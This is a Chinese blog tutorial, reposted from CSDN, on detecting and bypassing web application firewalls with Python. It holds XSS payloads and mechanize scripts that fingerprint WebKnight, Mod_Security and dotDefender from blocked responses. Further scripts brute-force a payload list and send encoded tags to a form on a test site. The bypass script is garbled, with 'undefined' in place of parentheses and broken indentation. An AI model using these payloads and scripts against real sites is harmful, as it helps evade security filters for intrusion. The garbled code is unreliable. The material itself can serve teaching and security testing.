使用Python检测并绕过Web应用程序防火墙

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273 参考文章:click hereWeb应用程序防火墙用来过滤恶意流量。
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

参考文章:click here

Web应用程序防火墙用来过滤恶意流量。

基于签名的防火墙

在基于签名的防火墙中,定义了签名,因为网络攻击也遵循类似的模式或签名。所以我们可以定义匹配模式并阻止它们。

Payload :- <svg><script>alert`1`<p>

上面定义的有效载荷是一种跨站点脚本攻击,这些攻击都可以包含以下子串 - >“<script>”,我们可以定义如下定义的2-3个签名:

1、<script>
2、alert(*)

第一个签名将阻止包含<script>子串的任何请求。
第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

开始攻击以前,先测试是否有防火墙。

这段消息告诉我们,防火墙阻碍了我们的攻击。

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.

下面,尝试用python脚本检测防火墙,并且绕过它。
1、定义HTML文档和PHP脚本
定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。
我们下面定义了这两个。
将使用以下HTML文档:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

waf.php:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

2、准备恶意请求
检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。 我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息click here

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

3、准备有效载荷
在HTML文档中,我们使用以下代码指定了一个输入字段:

input type =“text”name =“data”> <br>

您可以看到该字段的名称是“data”,我们可以使用以下代码来定义此字段的输入:

crossSiteScriptingPayLoad = "<svg><script>alert&grave;1&grave;<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad

第一行将我们的有效载荷保存在一个变量中
第二行,我们已将我们的有效内容分配给表单字段“data”。 我们现在可以安全地提交此表格并检查答复。
4、提交表单并记录回复

maliciousRequest.submit()
response =  maliciousRequest.response().read()
print response

提交表单
将响应保存在变量中
打印响应
没有安装防火墙得到如下响应:

5、检测防火墙的存在
名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。 我们将尝试在本教程中检测到以下防火墙的存在。WebKnight
mod_security
Dot Defender
python代码:

if response.find('WebKnight') >= 0:
       print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
      print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
      print "Firewall detected: Dot Defender"
else:
      print "No Firewall Present"

如果安装了Web Knight防火墙,并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。 同样,我们也可以检查其他2个防火墙。 我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

开头提到,大多数防火墙基于签名阻止请求。 但可以使用数千种方式构建有效载荷。 Java脚本复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。 请注意,如果防火墙规则被明确定义,这种方法可能无法正常工作。 让我们看看我们如何使用python来硬肛:

listofPayloads = ['&lt;dialog open="" onclose="alertundefined1)"&gt;&lt;form method="dialog"&gt;&lt;button&gt;Close me!&lt;/button&gt;&lt;/form&gt;&lt;/dialog&gt;','&lt;svg&gt;&lt;script&gt;prompt&amp;#40 1&amp;#41&lt;i&gt;','&lt;a href="&amp;#1;javascript:alertundefined1)"&gt;CLICK ME&lt;a&gt;'
]
for payLoads in listofPayloads:    
maliciousRequest = mec.Browserundefined)
formName = 'waf'    
maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined 'WebKnight' ) &gt; = 0:        
print "Firewall detected: WebKnight"    
elif 
response.findundefined 'Mod_Security') &gt; = 0:        
print "Firewall detected: Mod Security"
elif
response.findundefined 'Mod_Security' ) &gt; = 0 :        
print "Firewall detected: Mod Security"
elif
response.findundefined 'dotDefender' ) &gt; = 0 :        
print "Firewall detected: Dot Defender"    
else:       
print "No Firewall Present"

在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效载荷
然后在for循环中,我们做了与上面所做的相同的过程,但这次是列表中的每个有效载荷
在收到响应后,我们再次比较看看防火墙是否存在。
没有防火墙的输出:

将HTML标签转换为Unicode或Hex实体

如果例如防火墙正在过滤html标签,如<,>。 我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始格式,如果是这样,那么这也可能是一个入口点。 以下代码可用于检查此过程:

listofPayloads = ['&lt;b&gt;','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
     maliciousRequest = mec.Browser()
     formName = 'waf'
   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
     maliciousRequest.select_form(formName)
     maliciousRequest.form['data'] = payLoads
     maliciousRequest.submit()
     response = maliciousRequest.response().read()
     print "---------------------------------------------------"
     print response
     print "---------------------------------------------------"

每次我们将发送编码的条目,并在响应中我们将检查是否转换或打印回没有转换,当我运行这个代码我得到这个输出


表示没有编码的条目被转换为其原始格式

上面代码好零碎,完整代码打包下载:click here

相关文章
|
1天前
|
存储 索引 Python
Python从入门到精通——1.3.1练习编写简单程序
Python从入门到精通——1.3.1练习编写简单程序
|
2天前
|
开发框架 前端开发 数据库
Python从入门到精通:3.3.2 深入学习Python库和框架:Web开发框架的探索与实践
Python从入门到精通:3.3.2 深入学习Python库和框架:Web开发框架的探索与实践
|
4天前
|
XML Web App开发 测试技术
python的Web自动化测试
【4月更文挑战第16天】Python在Web自动化测试中广泛应用,借助Selenium(支持多浏览器交互)、BeautifulSoup(解析HTML/XML)、Requests(发送HTTP请求)和Unittest(测试框架)等工具。测试步骤包括环境搭建、编写测试用例、初始化浏览器、访问页面、操作元素、验证结果、关闭浏览器及运行报告。注意浏览器兼容性、动态内容处理和错误处理。这些组合能提升测试效率和质量。
11 6
|
7天前
|
数据采集 JavaScript 前端开发
使用Python打造爬虫程序之破茧而出:Python爬虫遭遇反爬虫机制及应对策略
【4月更文挑战第19天】本文探讨了Python爬虫应对反爬虫机制的策略。常见的反爬虫机制包括User-Agent检测、IP限制、动态加载内容、验证码验证和Cookie跟踪。应对策略包括设置合理User-Agent、使用代理IP、处理动态加载内容、验证码识别及维护Cookie。此外,还提到高级策略如降低请求频率、模拟人类行为、分布式爬虫和学习网站规则。开发者需不断学习新策略,同时遵守规则和法律法规,确保爬虫的稳定性和合法性。
|
8天前
|
SQL 安全 Go
如何在 Python 中进行 Web 应用程序的安全性管理,例如防止 SQL 注入?
在Python Web开发中,确保应用安全至关重要,主要防范SQL注入、XSS和CSRF攻击。措施包括:使用参数化查询或ORM防止SQL注入;过滤与转义用户输入抵御XSS;添加CSRF令牌抵挡CSRF;启用HTTPS保障数据传输安全;实现强身份验证和授权系统;智能处理错误信息;定期更新及审计以修复漏洞;严格输入验证;并培训开发者提升安全意识。持续关注和改进是保证安全的关键。
17 0
|
11天前
|
数据库 开发者 Python
Python中使用Flask构建简单Web应用的例子
【4月更文挑战第15天】Flask是一个轻量级的Python Web框架,它允许开发者快速搭建Web应用,同时保持代码的简洁和清晰。下面,我们将通过一个简单的例子来展示如何在Python中使用Flask创建一个基本的Web应用。
|
11天前
|
前端开发 数据挖掘 API
使用Python中的Flask框架进行Web应用开发
【4月更文挑战第15天】在Python的Web开发领域,Flask是一个备受欢迎的轻量级Web框架。它简洁、灵活且易于扩展,使得开发者能够快速地构建出高质量的Web应用。本文将深入探讨Flask框架的核心特性、使用方法以及在实际开发中的应用。
|
Python
python检测网络延迟
#!/usr/bin/env python # coding: utf-8 # coding: cp950 ''' Create Date: 2012-11-06 Version: 1.
2311 0
|
15天前
|
安全 Java 数据处理
Python网络编程基础(Socket编程)多线程/多进程服务器编程
【4月更文挑战第11天】在网络编程中,随着客户端数量的增加,服务器的处理能力成为了一个重要的考量因素。为了处理多个客户端的并发请求,我们通常需要采用多线程或多进程的方式。在本章中,我们将探讨多线程/多进程服务器编程的概念,并通过一个多线程服务器的示例来演示其实现。
|
15天前
|
程序员 开发者 Python
Python网络编程基础(Socket编程) 错误处理和异常处理的最佳实践
【4月更文挑战第11天】在网络编程中,错误处理和异常管理不仅是为了程序的健壮性,也是为了提供清晰的用户反馈以及优雅的故障恢复。在前面的章节中,我们讨论了如何使用`try-except`语句来处理网络错误。现在,我们将深入探讨错误处理和异常处理的最佳实践。